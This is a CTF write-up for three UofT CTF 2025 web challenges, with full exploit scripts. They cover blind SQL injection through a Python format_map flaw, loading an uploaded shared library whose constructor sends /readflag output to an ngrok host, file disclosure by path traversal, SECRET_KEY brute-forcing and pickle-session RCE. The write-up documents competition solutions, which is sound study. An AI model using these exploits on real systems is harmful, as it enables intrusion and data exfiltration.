UofT CTF 2025 - writeup
EN✅ Prepared: Flag 1
Overview
The server implements a simple login system that uses MySQL.
To prevent SQL injection, the server uses the custom query builder. The query builder constructs the sanitized query as follows:
-
username
andpassword
is stored in theDirtyString
class.du = DirtyString(username, 'username') dp = DirtyString(password, 'password')
du.key
is"username"
anddu.value
is the user input. The same goes fordp
. -
QueryBuilder
is initialized with the query template and theDirtyString
s.qb = QueryBuilder( "SELECT * FROM users WHERE username = '{username}' AND password = '{password}'", [du, dp] )
pb.query_template
is the template, andpb.dirty_strings
is a dictionary like{username: du, password: dp}
. -
pb.build_query
is called. -
Get all the placeholders using the following code.
def get_all_placeholders(self, query_template=None): pattern = re.compile(r'\{(\w+)\}') return pattern.findall(query_template) def build_query(self): query = self.query_template self.placeholders = self.get_all_placeholders(query) """ snap """
-
For each key in
self.placeholders
:- If a
DirtyString
instance with the same key exists AND it's the first element inself.placeholders
, setformat_map[k] = self.dirty_strings[k]
.get_value().dirty_strings[k].get_value()
raises an error if it contains non-ASCII characters or the following characters:
MALICIOUS_CHARS = ['"', "'", "\\", "/", "*", "+" "%", "-", ";", "#", "(", ")", " ", ","]
- Otherwise, it returns
value
.
- If a
DirtyString
instance with the same key exists but it's not the first element, setformat_map[k] = f"{{k}}"
.- This means it won't be replaced in the next step.
- If there is no such
DirtyString
instance, setformat_map[k] = DirtyString
.
- If a
-
Update the query and the placeholders as follows:
query = query.format_map(type('FormatDict', (), { '__getitem__': lambda _, k: format_map[k] if isinstance(format_map[k], str) else format_map[k]("",k) })()) self.placeholders = self.get_all_placeholders(query)
-
Repeat 5. to 6. until there are no more placeholders.
The goal of this challenge is to somehow achieve SQL injection to get the content of the following table.
CREATE TABLE IF NOT EXISTS flags (
id INT AUTO_INCREMENT PRIMARY KEY,
flag VARCHAR(255) NOT NULL
);
INSERT INTO flags (flag) VALUES ("uoftctf{fake_flag_1}");
Read all the relevant scripts
import re
from flask import Flask, render_template, request, redirect, url_for, flash
import mysql.connector
import os
import setuptools
app = Flask(__name__)
app.secret_key = os.urandom(24)
DB_HOST = os.getenv('MYSQL_HOST', 'localhost')
DB_USER = os.getenv('MYSQL_USER', 'root')
DB_PASSWORD = os.getenv('MYSQL_PASSWORD', 'rootpassword')
DB_NAME = os.getenv('MYSQL_DB', 'prepared_db')
class MaliciousCharacterError(Exception):
pass
class NonPrintableCharacterError(Exception):
pass
class DirtyString:
MALICIOUS_CHARS = ['"', "'", "\\", "/", "*", "+" "%", "-", ";", "#", "(", ")", " ", ","]
def __init__(self, value, key):
self.value = value
self.key = key
def __repr__(self):
return self.get_value()
def check_malicious(self):
if not all(32 <= ord(c) <= 126 for c in self.value):
raise NonPrintableCharacterError(f"Non-printable ASCII character found in '{self.key}'.")
for char in self.value:
if char in self.MALICIOUS_CHARS:
raise MaliciousCharacterError(f"Malicious character '{char}' found in '{self.key}'")
def get_value(self):
self.check_malicious()
return self.value
class QueryBuilder:
def __init__(self, query_template, dirty_strings):
self.query_template = query_template
self.dirty_strings = {ds.key: ds for ds in dirty_strings}
self.placeholders = self.get_all_placeholders(self.query_template)
def get_all_placeholders(self, query_template=None):
pattern = re.compile(r'\{(\w+)\}')
return pattern.findall(query_template)
def build_query(self):
query = self.query_template
self.placeholders = self.get_all_placeholders(query)
while self.placeholders:
key = self.placeholders[0]
format_map = dict.fromkeys(self.placeholders, lambda _, k: f"{{{k}}}")
for k in self.placeholders:
if k in self.dirty_strings:
if key == k:
format_map[k] = self.dirty_strings[k].get_value()
else:
format_map[k] = DirtyString
query = query.format_map(type('FormatDict', (), {
'__getitem__': lambda _, k: format_map[k] if isinstance(format_map[k], str) else format_map[k]("",k)
})())
self.placeholders = self.get_all_placeholders(query)
return query
def get_db_connection():
try:
cnx = mysql.connector.connect(
host=DB_HOST,
user=DB_USER,
password=DB_PASSWORD,
database=DB_NAME
)
return cnx
except mysql.connector.Error as err:
print(f"Error: {err}")
return None
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
data = request.form
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
flash("Username and password are required.", 'error')
return redirect(url_for('login'))
try:
du = DirtyString(username, 'username')
dp = DirtyString(password, 'password')
qb = QueryBuilder(
"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'",
[du, dp]
)
sanitized_query = qb.build_query()
print(f"Sanitized query: {sanitized_query}", flush=True)
except (MaliciousCharacterError, NonPrintableCharacterError) as e:
flash(str(e), 'error')
return redirect(url_for('login'))
except Exception as e:
print(str(e), flush=True)
flash("Invalid credentials.", 'error')
return redirect(url_for('login'))
cnx = get_db_connection()
if not cnx:
flash("Database connection failed.", 'error')
return redirect(url_for('login'))
cursor = cnx.cursor(dictionary=True)
try:
cursor.execute(sanitized_query)
user = cursor.fetchone()
if user:
flash("Login successful!", 'success')
return render_template('under_construction.html')
else:
flash("Invalid credentials.", 'error')
except mysql.connector.Error as err:
flash(f"Database query failed: {err}", 'error')
finally:
cursor.close()
cnx.close()
return render_template('login.html')
@app.route('/under_construction')
def under_construction():
return render_template('under_construction.html')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000, debug=False)
Solution
str.format_map
works similarly to str.format
, but it takes dict
-like object as mapping instead of keyword argument. str.format_map
accepts many syntaxes that enables us to process the mapping. This includes accessing the member of an instance using .
, and getting an element of the list using [0]
For example:
class User:
name = "Bob"
user = User()
# prints "Hello, Bob!"
print("Hello, {user.name}!".format_map({"user": user}))
If the key for the placeholder is username
or password
, the placeholder maps to str
, so there isn't any interesting member that we can access.
Remember that if the key for the placeholder is something else, it will be a DirtyString
instance with an empty value, rather than str
. This means we can access DirtyString.MALICIOUS_CHARS
!
For example, if I set the username to {X}{X.MALICIOUS_CHARS[1]}
, it will be replaced with '
. This enables us to insert any character in MALICIOUS_CHARS
and perform SQL injection.
If the query (after being processed with query builder) looks like
SELECT * FROM users WHERE username = 'a' AND password = '' UNION SELECT flag, flag, flag FROM flags WHERE flag LIKE BINARY 'uoft%'#'
if the beginning of the flag matches uoft
, then the login will be successful, and the UNDER CONSTRUCTION
page will be shown. Otherwise, the page will redirect to the login
page. We can use this as an oracle to perform blind SQL injection attacks.
We cannot use {
and }
because they will be recognized as part of a placeholder, and they are not included in MALICIOUS_CHARS
. (This issue will be solved in Flag 2.) Since we know the format of the flag is in the format uoftctf{fake_flag}
, we cannot perform a normal blind SQL injection method that uses LIKE
to match from the start of the flag.
Instead, I got the flag in the following way:
- Get all the characters in the flag using
LIKE BINARY '%x%'
. - Choose one character that is not in
uoftctf
. We can ensure that the character is located inside the brackets. - Blind search all the characters that follows the flag.
- Blind search all the characters that precede the flag.
- We know the result is the string inside the flag. Wrap it with
uoftctf{}
.
Final exploit
import requests
import string
# URL = "https://prepared-1-ec0d3306c2ec8a0f.chal.uoftctf.org/"
URL = "http://localhost:5000/"
s = requests.session()
MALICIOUS_CHARS = ['"', "'", "\\", "/", "*", "+" "%", "-", ";", "#", "(", ")", " ", ","]
def check(s, _part):
part = _part.replace("_", "\\_")
inj = f"{{X}}' UNION SELECT flag, flag, flag FROM flags WHERE flag LIKE BINARY '%{part}%'#"
for i, c in enumerate(MALICIOUS_CHARS):
inj = inj.replace(c, "{X.MALICIOUS_CHARS[%d]}" % i)
data = {
"username": "a",
"password": inj
}
r = s.post(URL, data=data)
return "UNDER" in r.text
chars = string.ascii_letters + string.digits + "_"
used = ""
for char in chars:
if check(s, char):
used += char
print(f"{used=}")
known = next(c for c in used if c not in "uoftctf")
didchange = True
while didchange:
didchange = False
for char in used:
if check(s, known + char):
known += char
didchange = True
print(known)
didchange = True
while didchange:
didchange = False
for char in used:
if check(s, char + known):
known = char + known
didchange = True
print(known)
✅ Prepared: Flag 2
Overview
The server is the same as the "Prepared: Flag 1" challenge. We need to run /readflag
in the shell to get the flag.
Solution
Using SQL injection, we can write any binary files. Reference: PayloadAllTheThing
SELECT * FROM users WHERE username = 'a' AND password = '' UNION SELECT 0xf09f9880,'','' INTO OUTFILE '/tmp/1.txt' FIELDS ESCAPED BY ''#
This will result in a file containing the Unicode character "😀". ESCAPED BY ''
is necessary because, otherwise, all the null bytes would be escaped as \0
.
How can we use this to run a shell code inside the server? I first thought of overriding Python code but it doesn't work because we only have permission to write in /tmp
and /var/run/mysqld
. The same goes for UDF in MySQL because it has to be located in /usr/lib
.
My teammates pointed out that we could use ctype.cdll
to load and execute a compiled CDLL with the following query:
{X.__init__.__globals__[os].sys.modules[ctypes].cdll[/path/to/cdll]}
The CDLL must be a compiled binary located somewhere on the server, and it can be created using the SQL injection mentioned above.
However, another problem arises. Since /
is included in MALICIOUS_CHARS
, we cannot use it directly inside the placeholder. To bypass this, we used double encoding. We noticed that you can access loaded modules using {Y.__init__.__globals__[os].sys.modules}
. This includes the string
module which includes string.printable
that contains all the printable ASCII. This enabled us to express {
and }
using the placeholder. For example, if the query is the following:
{Y}{Y.__init__.__globals__[os].sys.modules[string].printable[90]}X{Y.__init__.__globals__[os].sys.modules[string].printable[92]}
After the first replacement, the result will be {X}
. This can be used as a placeholder again, but the string inside {}
can include any MALICIOUS_CHARS
.
Final Exploit
lib.c
was written by my teammate.
import requests
import os
# URL = "https://prepared-1-ec0d3306c2ec8a0f.chal.uoftctf.org/"
URL = "http://localhost:5000/"
os.system("gcc -c -O3 -fno-asynchronous-unwind-tables -fno-exceptions -fno-stack-protector -fPIC lib.c -o lib.o && gcc -shared -O3 -fno-asynchronous-unwind-tables -fno-exceptions -fno-stack-protector -Wl,--strip-all -znow -zrelro -o lib.so lib.o")
bytes = open("lib.so", "rb").read()
bytes_num = bytes.hex()
s = requests.session()
MALICIOUS_CHARS = ['"', "'", "\\", "/", "*", "+" "%", "-", ";", "#", "(", ")", " ", ","]
inj = f"""{{X}}' UNION SELECT 0x{bytes_num},'','' INTO OUTFILE '/tmp/lib.so' FIELDS ESCAPED BY ''#"""
for i, c in enumerate(MALICIOUS_CHARS):
inj = inj.replace(c, "{X.MALICIOUS_CHARS[%d]}" % i)
data = {
"username": "a",
"password": inj
}
r = s.post(URL, data=data)
print(r.text)
inj = "{Y}{Y.__init__.__globals__[os].sys.modules[string].printable[90]}X{Y.__init__.__globals__[os].sys.modules[string].printable[92]}{Y.__init__.__globals__[os].sys.modules[string].printable[90]}X.__init__.__globals__[os].sys.modules[ctypes].cdll[{Y.MALICIOUS_CHARS[3]}tmp{Y.MALICIOUS_CHARS[3]}lib.so]{Y.__init__.__globals__[os].sys.modules[string].printable[92]}"
print(inj)
data = {
"username": "a",
"password": inj
}
r = s.post(URL, data=data)
print(r.text)
static const char* argv[] = {"/bin/sh", "-c", "python -c \"__import__('urllib.request',None,None,['urllib','request']).urlopen('https://xxx.ngrok.app/?'+__import__('subprocess').check_output(['/readflag']).decode())\"", 0};
static const char* filename = "/bin/sh";
__attribute__((constructor))
void f() {
const char** local_argv = argv;
__asm__ volatile (
".intel_syntax noprefix\n\t"
"mov rax, 59\n\t" // 59 is the syscall number for execve
"mov rdi, %0\n\t" // filename
"mov rsi, %1\n\t" // argv
"xor rdx, rdx\n\t" // NULL for envp
"syscall\n\t"
".att_syntax prefix" // Switch back to AT&T syntax for compatibility
:
: "r" (filename), "r" (local_argv)
: "rax", "rdi", "rsi", "rdx"
);
}
✅ Timeless
Overview
You are presented with a blog service where you can sign up and create posts.
On your profile page, you can upload images for your icon.
Files are uploaded to /app/uploads/<username>/<hash>
. The server blocks usernames that contain ..
to prevent unintended upload and Local File Inclusion (LFI).
The server handles the user session with flask-session
in FileSystem
mode. The SECRET_KEY
for the session is created using datetime.now()
and uuid.uuid1
.
The goal of this challenge is to run /readflag
in the shell.
START_TIME = datetime.now()
random.seed(int(START_TIME.timestamp()))
SECRET_KEY = str(uuid.uuid1(clock_seq=random.getrandbits(14)))
Read the relevant scripts
@app.route('/profile_picture', methods=['GET'])
def profile_picture():
username = request.args.get('username')
user = User.query.filter_by(username=username).first()
if user is None:
return "User not found", 404
if user.profile_photo is None:
return send_file(os.path.join(app.static_folder, 'default.png'))
file_path = os.path.join(app.config['UPLOAD_FOLDER'], user.username + user.profile_photo)
if not os.path.exists(file_path):
return send_file(os.path.join(app.static_folder, 'default.png'))
return send_file(file_path)
""" snap """
@app.route('/profile', methods=['POST'])
@login_required
def profile_post():
user = User.query.get(session['user_id'])
about_me = request.form.get('about_me')
if about_me is not None:
user.about_me = about_me
file = request.files.get('profile_photo')
if file:
user.profile_photo = None
user_directory = ensure_upload_directory(app.config['UPLOAD_FOLDER'], user.username)
if not user_directory:
flash('Failed to create user directory', 'error')
return redirect(url_for('profile_get'))
ext = os.path.splitext(file.filename)[1].lower()
save_filename = f"{gen_filename(file.filename, user.username)}{ext}"
if not allowed_file(save_filename):
flash('Invalid file type', 'error')
return redirect(url_for('profile_get'))
filepath = os.path.join(user_directory, save_filename)
if not os.path.exists(filepath):
try:
user.profile_photo = "/"+save_filename
file.save(filepath)
except:
user.profile_photo = ''
flash('Failed to save file', 'error')
return redirect(url_for('profile_get'))
finally:
db.session.commit()
else:
flash('File already exists', 'error')
return redirect(url_for('profile_get'))
db.session.commit()
flash('Profile updated successfully', 'success')
return redirect(url_for('profile_get'))
ALLOWED_EXTENSIONS = {'png', 'jpeg', 'jpg'}
def allowed_username(username):
return ".." not in username
def allowed_file(filename):
return not ("." in filename and (filename.rsplit('.', 1)[1].lower() not in ALLOWED_EXTENSIONS or ".." in filename))
def gen_filename(username, filename, timestamp=None):
if not timestamp:
timestamp = int(datetime.now().timestamp())
hash_value = hashlib.md5(f"{username}_{filename}_{timestamp}".encode()).hexdigest()
return hash_value
def ensure_upload_directory(base_path, username):
if not allowed_username(username):
return None
user_directory = os.path.join(base_path, username)
if os.path.exists(user_directory):
return user_directory
os.makedirs(user_directory, exist_ok=True)
return user_directory
from datetime import datetime
import os
import random
import uuid
class Config:
JSON_SORT_KEYS = False
START_TIME = datetime.now()
random.seed(int(START_TIME.timestamp()))
SECRET_KEY = str(uuid.uuid1(clock_seq=random.getrandbits(14)))
SESSION_USE_SIGNER = True
TEMPLATES_AUTO_RELOAD = False
SESSION_PERMANENT = True
SESSION_TYPE = 'filesystem'
SQLALCHEMY_DATABASE_URI = f"sqlite:///{os.path.join(os.getcwd(), 'db', 'app.db')}"
SQLALCHEMY_TRACK_MODIFICATIONS = False
UPLOAD_FOLDER = os.path.join(os.getcwd(), 'uploads')
Solution
Step 1: LFI
The /profile_picture
endpoints compute the file path in the following code.
file_path = os.path.join(app.config['UPLOAD_FOLDER'], user.username + user.profile_photo)
if not os.path.exists(file_path):
return send_file(os.path.join(app.static_folder, 'default.png'))
return send_file(file_path)
The documentation for os.path.join
says that if the second argument is an absolute path, the function ignores the first argument. This means we can perform directory traversal by starting user.username
with /
.
The default value for user.profile_photo
is None
. In that case, /app/uploads/default.png
will be served. If we update the file, the value of user.profile_photo
will be <hash>.<ext>
, and you cannot control the filename.
Upon closely examining the code, user.profile_photo
is set to ''
if we fail to upload the file. If the username is /etc/passwd
, the file path will be /etc/passwd/<hash>.<ext>
, and saving the file will fail because /etc/passwd
is not a directory.
if not os.path.exists(filepath):
try:
user.profile_photo = "/"+save_filename
file.save(filepath)
except:
user.profile_photo = ''
flash('Failed to save file', 'error')
return redirect(url_for('profile_get'))
finally:
db.session.commit()
Therefore, the next time we access /profile_picture
, file_path will point to /etc/passwd
, and the file will be served.
Sample code to read `/etc/passwd` from the server
import requests
# URL = "https://timeless-280e8f94de4a3a53.chal.uoftctf.org/"
URL = "http://localhost:5000/"
EVIL = "https://tchenio.ngrok.io/"
s = requests.session()
user = {
"username": "/etc/passwd",
"password": "x"
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)
r = s.post(URL + "profile", files={
"about_me": "aaa",
"profile_photo": ("v.jpeg", "xxx")
})
r = s.get(URL + "profile_picture", params={
"username": "/etc/passwd"
})
print(r.content)
Step 2: Calculating SECRET_KEY
The SECRET_KEY
is generated using uuid.uuid1
. Below is the implementation:
def uuid1(node=None, clock_seq=None):
"""Generate a UUID from a host ID, sequence number, and the current time.
If 'node' is not given, getnode() is used to obtain the hardware
address. If 'clock_seq' is given, it is used as the sequence number;
otherwise a random 14-bit sequence number is chosen."""
""" snap """
global _last_timestamp
import time
nanoseconds = time.time_ns()
# 0x01b21dd213814000 is the number of 100-ns intervals between the
# UUID epoch 1582-10-15 00:00:00 and the Unix epoch 1970-01-01 00:00:00.
timestamp = nanoseconds // 100 + 0x01b21dd213814000
if _last_timestamp is not None and timestamp <= _last_timestamp:
timestamp = _last_timestamp + 1
_last_timestamp = timestamp
if clock_seq is None:
import random
clock_seq = random.getrandbits(14) # instead of stable storage
time_low = timestamp & 0xffffffff
time_mid = (timestamp >> 32) & 0xffff
time_hi_version = (timestamp >> 48) & 0x0fff
clock_seq_low = clock_seq & 0xff
clock_seq_hi_variant = (clock_seq >> 8) & 0x3f
if node is None:
node = getnode()
return UUID(fields=(time_low, time_mid, time_hi_version,
clock_seq_hi_variant, clock_seq_low, node), version=1)
The getnode
function retrieves the server's MAC address. Since clock_seq
is provided using random.getrandbits(14)
, and the random.seed
uses START_TIME = date.now()
, the information we need to calculate SECRET_KEY
is as follows:
- The MAC address of the server
- The value of
int(START_TIME.timestamp())
- The time that the UUID is created, in 100 nanosecond precision
According to this blog, the MAC address of the server is written in /sys/class/net/eth0/address
. For some reason, the Content-Length
header did not match the actual content length, resulting in requests.get
raising an error. This can be solved using stream=True
option.
partial_content = b""
try:
r = s.get(URL + "profile_picture", params={
"username": "/sys/class/net/eth0/address"
},stream=True)
for chunk in r.iter_content(chunk_size=1):
if chunk:
partial_content += chunk
except:
pass
If we access to the /status
endpoint, we get the following response:
{"status":"ok","server_time":"2025-01-14 09:21:09.758812","uptime":"0:02:48.966212"}
By calculating server_time - uptime
, we can determine START_TIME
with millisecond precision. Hence, the seed for random.seed
can be calculated.
We know the UUID was calculated soon after START_TIME
was determined. If we can check its validity offline, we can brute-force the exact value of the time with 100 nanosecond precision.
The session token looks like this:
-0DX43ZHxRUANBy4kfY35IEHpFLKQxXs2K4tPEuXthI.43PdPtt14XDlO_TYbw6eCqY1MH0
The string before the .
is the session ID, and the string after the .
is the verification code. The verification code is signed and unsigned using itsdangerous.Signer
. Hence, we used the following code to determine the calculated SECRET_KEY
is valid:
token = s.cookies['session']
value = token.split('.')[0]
sig = token.split('.')[1]
signer = Signer(SECRET_KEY, 'flask-session',key_derivation="hmac")
if signer.verify_signature(value, sig):
print(SECRET_KEY)
Step 3: RCE
With the SECRET_KEY
calculated, we can assign any value to the session ID. How do we connect this to RCE?
Remember that the session value is stored in the file system using flask-session
. The session file consists of 4 bytes of unsigned int that represents the generated time, followed by pickle bytes (See here and here).
It is well known that you can execute any code if the program accepts deserializing any pickle bytes. For example:
class RCE:
def __reduce__(self):
cmd = ('/readflag > /app/app/static/flag.txt')
return os.system, (cmd,)
pickled_payload = pickle.dumps(RCE())
# Run the following inside the server to RCE
pickle.loads(pickled_payload)
The session file is saved in /app/flask_session/<hash>
, where the hash is
hashlib.md5(("session:" + session_id).encode('utf-8')).hexdigest()
If the username starts with /
, the file is stored in <username>/<hash>[.<ext>]
. <ext>
is ommitted if the filename doesn't contain any extension. <hash>
is generated using the following code.
def gen_filename(username, filename, timestamp=None):
if not timestamp:
timestamp = int(datetime.now().timestamp())
hash_value = hashlib.md5(f"{username}_{filename}_{timestamp}".encode()).hexdigest()
return hash_value
However, my teammate found out that this function is used wrong, and the arguments are swapped.
save_filename = f"{gen_filename(file.filename, user.username)}{ext}"
This means if the username is /app/flask_session
and the filename is session:
, the hash will match
hashlib.md5(f"session:_/app/flask_session_{int(datetime.now().timestamp())}").hexdigest()
This will match the file for the session ID f"_/app/flask_session_{int(datetime.now().timestamp())}"
. By generating the verification code for such session ID and sending it through the cookie, we made flask-session
to read the session file and execute the code.
Final exploit
import os
import pickle
import struct
import requests
from itsdangerous import Signer
from datetime import datetime, timedelta, timezone
import random
import uuid
# URL = "https://timeless-280e8f94de4a3a53.chal.uoftctf.org/"
URL = "http://localhost:5000/"
EVIL = "https://tchenio.ngrok.io/"
s = requests.session()
user = {
"username": "/sys/class/net/eth0/address",
"password": "foobar"
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)
token = s.cookies['session']
r = s.post(URL + "profile", files={
"about_me": "aaa",
"profile_photo": ("v.jpeg", "xxx")
})
partial_content = b""
try:
r = s.get(URL + "profile_picture", params={
"username": "/sys/class/net/eth0/address"
},stream=True)
for chunk in r.iter_content(chunk_size=1):
if chunk:
partial_content += chunk
except:
pass
mac = partial_content.decode().strip()
r = s.get(URL + "status")
print(r.text)
server_time = datetime.strptime(r.json()['server_time'], "%Y-%m-%d %H:%M:%S.%f").replace(tzinfo=timezone.utc)
uptime = datetime.strptime(r.json()['uptime'], "%H:%M:%S.%f").replace(tzinfo=timezone.utc)
uptime = timedelta(hours=uptime.hour, minutes=uptime.minute, seconds=uptime.second, microseconds=uptime.microsecond)
random.seed(int((server_time - uptime).timestamp()))
clock_seq = random.getrandbits(14)
clock_seq_low = clock_seq & 0xff
clock_seq_hi_variant = (clock_seq >> 8) & 0x3f
SECRET_KEY = None
value = token.split('.')[0]
sig = token.split('.')[1]
for ns_diff in range(10_000_000):
timestamp = int((server_time - uptime).timestamp() * 10_000_000) + 0x01b21dd213814000 + ns_diff
time_low = timestamp & 0xffffffff
time_mid = (timestamp >> 32) & 0xffff
time_hi_version = (timestamp >> 48) & 0x0fff
node = int(mac.replace(":",""),16)
SECRET_KEY = str(uuid.UUID(fields=(time_low, time_mid, time_hi_version, clock_seq_hi_variant, clock_seq_low, node), version=1))
signer = Signer(SECRET_KEY, 'flask-session',key_derivation="hmac")
if signer.verify_signature(value, sig):
print(SECRET_KEY)
break
user = {
"username": "/app/flask_session",
"password": "foobar"
}
r = s.post(URL + "register", data=user)
r = s.post(URL + "login", data=user)
class RCE:
def __reduce__(self):
cmd = ('/readflag > /app/app/static/flag.txt')
return os.system, (cmd,)
pickle_time = struct.pack("I", 0000)
pickled_payload = pickle_time + pickle.dumps(RCE())
r = s.post(URL + "profile", files={
"about_me": "aaa",
"profile_photo": ("session:/.png", pickled_payload)
})
s = requests.session()
signer = Signer(SECRET_KEY, 'flask-session',key_derivation="hmac")
s.cookies['session'] = signer.sign(f"/.png_/app/flask_session_{int(datetime.now().timestamp())}").decode()
r = s.get(URL)
r = requests.get(URL + "static/flag.txt")
print(r.text)